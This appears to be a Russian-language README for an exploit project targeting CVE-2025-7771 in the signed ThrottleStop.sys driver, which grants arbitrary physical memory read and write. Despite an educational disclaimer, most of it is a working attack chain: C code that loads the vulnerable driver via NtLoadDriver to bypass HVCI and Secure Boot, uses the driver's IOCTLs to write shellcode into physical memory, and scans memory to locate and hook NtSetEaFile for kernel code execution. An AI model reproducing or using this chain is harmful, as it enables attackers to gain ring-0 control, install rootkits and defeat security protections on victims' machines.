
Повышение привилегий в системе с помощью неподписанного драйвера, используя уязвимость ThrottleStop
CVE-2025-7771 — Произвольное чтение/запись физической памяти через IOCTL драйвера ThrottleStop.sys
Данный проект опубликован только в образовательных и исследовательских целях. Цель — продемонстрировать, как подписанный, доверенный драйвер ядра может быть использован для локального повышения привилегий (LPE) от Администратора до SYSTEM/Ядра, эффективно обходя современные функции безопасности Windows, включая HVCI (Целостность кода, контролируемая гипервизором) и Secure Boot.
Не используйте этот инструмент в злонамеренных целях. Автор не несет ответственности за любое неправомерное использование.
| Поле | Подробности |
|---|---|
| CVE | CVE-2025-7771 |
| Драйвер | ThrottleStop.sys (поставляется с ThrottleStop) |
| Поставщик | TechPowerUp / Kevin Glynn |
| Тип | Произвольное чтение/запись физической памяти |
| Воздействие | Локальное повышение привилегий (Администратор → Ядро) |
| CVSS | 8.2 (Высокий) |
| Подпись | Подписано Microsoft через WHQL / Attestation |
| Обход HVCI | ✅ Да — драйвер легитимно подписан, разрешен политикой CI |
ThrottleStop.sys с IOCTL для отображения физической памятиДрайвер ядра ThrottleStop.sys предоставляет устройство (\\.\ThrottleStop), доступное любому локальному администратору. Он реализует два IOCTL, которые обеспечивают неограниченный доступ к физической памяти:
#define IOCTL_TS_READ_PHYS 0x80006498 // Чтение произвольного физического адреса
#define IOCTL_TS_WRITE_PHYS 0x8000649C // Запись по произвольному физическому адресу
0x80006498)Вход: ULONG64 PhysicalAddress (8 байт)
Выход: Буфер данных (1–8 байт за вызов, определяется OutputBufferLength)
Драйвер вызывает MmMapIoSpace(), чтобы отобразить запрошенный физический адрес в виртуальное пространство ядра, копирует данные в выходной буфер, затем вызывает MmUnmapIoSpace(). Никакой проверки физического адреса не выполняется — можно прочитать любой адрес в физическом адресном пространстве.
0x8000649C)Вход: ULONG64 PhysicalAddress (8 байт) + Данные (1–8 байт)
InputBufferLength = 8 + DataSize
Выход: Нет
Тот же механизм, что и при чтении, но записывает предоставленные пользователем данные по отображенному физическому адресу. Опять же, никакой проверки адреса или диапазона.
Драйвер был разработан, чтобы позволить ThrottleStop (утилите для андервольтинга/троттлинга ЦП) напрямую читать/записывать MSR и аппаратные регистры. IOCTL для физической памяти, вероятно, были добавлены для доступа MMIO к конфигурационному пространству PCI или тепловым датчикам ЦП, но реализация выполняет нулевую проверку границ:
GENERIC_READ | GENERIC_WRITEЭто превращает легитимный драйвер аппаратной утилиты в полноценный примитив чтения/записи на уровне ядра.
Цепочка эксплуатации повышает привилегии от локальной учетной записи Администратора до произвольного выполнения кода ядра, фактически достигая контроля ring-0 на уровне SYSTEM.
Маппер помещает ThrottleStop.sys в %TEMP%, создает запись службы в реестре по пути HKLM\SYSTEM\CurrentControlSet\Services\ThrottleStop и загружает его через NtLoadDriver():
// Включение привилегии SeLoadDriverPrivilege для текущего процесса
driver::util::enable_privilege(L"SeLoadDriverPrivilege");
// Создание записи службы, указывающей на размещенный .sys файл
driver::util::create_service_entry("\\??\\C:\\...\\ThrottleStop.sys", "ThrottleStop");
// Загрузка через NtLoadDriver
NtLoadDriver(&driver_reg_path_unicode);
// Открытие дескриптора устройства
CreateFileA("\\\\.\\ThrottleStop", GENERIC_READ | GENERIC_WRITE, ...);
Примечание: Поскольку ThrottleStop.sys легитимно подписан, он загружается даже при включенном HVCI/Secure Boot. Политика CI Windows доверяет сертификату.
Имея дескриптор устройства, эксплойт может читать/записывать любой физический адрес в системе:
// Чтение 8 байт из физического адреса 0x1000
ULONGLONG phys_addr = 0x1000;
ULONGLONG data = 0;
DeviceIoControl(handle, 0x80006498, &phys_addr, 8, &data, 8, &returned, NULL);
// Запись 8 байт по физическому адресу
UCHAR input[16];
*(ULONGLONG*)input = target_phys_addr; // адрес
*(ULONGLONG*)(input + 8) = shellcode_qword; // данные
DeviceIoControl(handle, 0x8000649C, input, 16, NULL, 0, &returned, NULL);
Эксплойт оборачивает это во вспомогательные функции, которые обрабатывают фрагментированные чтения/записи (1, 2, 4 или 8 байт за вызов) для передачи произвольной длины.
Чтобы выполнять произвольные функции ядра, эксплойту необходимо найти физический адрес обработчика системного вызова ядра. Он нацеливается на NtSetEaFile (редко отслеживаемый системный вызов):
ntoskrnl.exe в пользовательском режиме через LoadLibraryEx(DONT_RESOLVE_DLL_REFERENCES), получите RVA NtSetEaFileRVA & 0x1FFFFFHARDWARE\RESOURCEMAP\System Resources\Physical Memory), шаг по 2MB и сравнение байтов:for (phys_2mb = start; phys_2mb < range_end; phys_2mb += 0x200000)
{
candidate_pa = phys_2mb + offset_in_2mb;
read_phys(candidate_pa, &first8, 8);
if (first8 == pattern_first8) // быстрая проверка
{
read_phys(candidate_pa, verify, 32); // полная проверка
if (memcmp(verify, pattern, 32) == 0)
{
syscall_phys_addr = candidate_pa; // найдено!
// ... проверка через PsGetProcessSectionBaseAddress
}
}
}
PsGetProcessSectionBaseAddress(current_pid) и убедитесь, что возвращенная база соответствует GetModuleHandle(NULL).